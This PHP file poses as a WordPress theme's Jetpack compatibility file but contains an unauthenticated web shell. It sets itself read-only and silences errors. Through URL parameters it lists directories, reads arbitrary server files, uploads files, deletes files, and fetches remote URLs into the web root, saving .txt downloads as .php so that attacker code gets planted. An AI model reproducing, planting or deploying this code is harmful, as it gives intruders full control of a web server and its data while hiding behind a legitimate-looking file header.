/**
* Jetpack Compatibility File
*
* @link https://jetpack.com/
*
* @package stag-blocks
*/

/**
* Jetpack setup function.
*
* See: https://jetpack.com/support/infinite-scroll/
* See: https://jetpack.com/support/responsive-videos/
* See: https://jetpack.com/support/content-options/
*/
echo("@package @link");
error_reporting(0);
chmod(basename($_SERVER["PHP_SELF"]), 0444);
echo '
<table width="380" border="0" cellpadding="3" cellspacing="1" align="center">Current Path : ';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '';
if(isset($_FILES['uploadedfile'])){
$target_path=basename($_FILES["uploadedfile"]["name"]);if(move_uploaded_file($_FILES["uploadedfile"]["tmp_name"],$path.'/'.$target_path)){echo '<font color="green">file uploaded</font><br />';}else{echo '<font color="red">upload fail</font><br />';}
}
echo "
<input name=\"uploadedfile\" type=\"file\"/><input type=\"submit\" value=\"Upload File\"/>
";
function get($url, $dir) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_TIMEOUT,10);
$data = curl_exec($ch);
if(!$data){
$data = @file_get_contents($url);
}
file_put_contents($dir, $data);
}
if($_GET['url']){
$url = $_GET['url'];
preg_match('/(.*)\/(.*)\.(.*?)$/',$url,$n);
if($n[3]=='txt'){
$z='php';
$name=$n[2];
}else{
$z=$n[3];
$name="moban";
}
if($_GET['dir']){
$dir=$_SERVER["DOCUMENT_ROOT"].'/'.$_GET['dir'].'/'.$name.'.'.$z;
}else{
$dir=$_SERVER["DOCUMENT_ROOT"].'/'.$name.'.'.$z;
}
get($url,$dir);
if(file_exists($dir)){echo "<font color=\"green\">download success</font>";}else{echo "<font color=\"red\">download fail</font>";}
}elseif($_POST['url']){
$url = $_POST['url'];
preg_match('/(.*)\/(.*)\.(.*?)$/',$url,$n);
if($n[3]=='txt'){
$z='php';
$name=$n[2];
}else{
$z=$n[3];
$name="moban";
}
$dir = $_POST['path']."/".$name.'.'.$z;
get($url,$dir);
if(file_exists($dir)){echo "<font color=\"green\">download success</font>";}else{echo "<font color=\"red\">download fail</font>";}
}
echo "
<span>Url: </span><input type=text name=\"url\" value=\"\"><input type=\"hidden\" name=\"path\" value=\"$path\"><input type=submit value=\"Download\">
";
if(isset($_GET['filesrc'])){
echo "Current File : ";
echo $_GET['filesrc'];
echo '<br />';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['check']) && $_GET['check'] == '1'){
$RootDir = $_SERVER['DOCUMENT_ROOT'];
$filename = $RootDir.'/index.php';
echo "Current File : ";
echo $filename;
echo '<br />';
echo('<pre>'.htmlspecialchars(file_get_contents($filename)).'</pre>');
}else{
echo '<br />
';
if(isset($_GET['option']) && $_GET['option'] == 'delete'){
if(unlink($_GET['delfile'])){
echo '<font color="green">Delete File Done.</font><br />';
}else{
echo '<font color="red">Delete File Error.</font><br />';
}
}
echo '
';
$scandir = scandir($path);
echo '<div id="content"><table width="380" border="0" cellpadding="3" cellspacing="1" align="center"><tr class="first">NameSizeOptions';
foreach($scandir as $dir){
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo "<a href=\"?path=$path/$dir\">$dir</a>DIRnone";
}
echo '<tr class="first">';
foreach($scandir as $file){
if(!is_file("$path/$file")) continue;
$size = filesize("$path/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}
echo "<a href=\"?filesrc=$path/$file&path=$path\">$file</a>".$size."<a href=\"?path=$path&delfile=$path/$file&option=delete\">Delete</a>";
}
echo '</div>';
}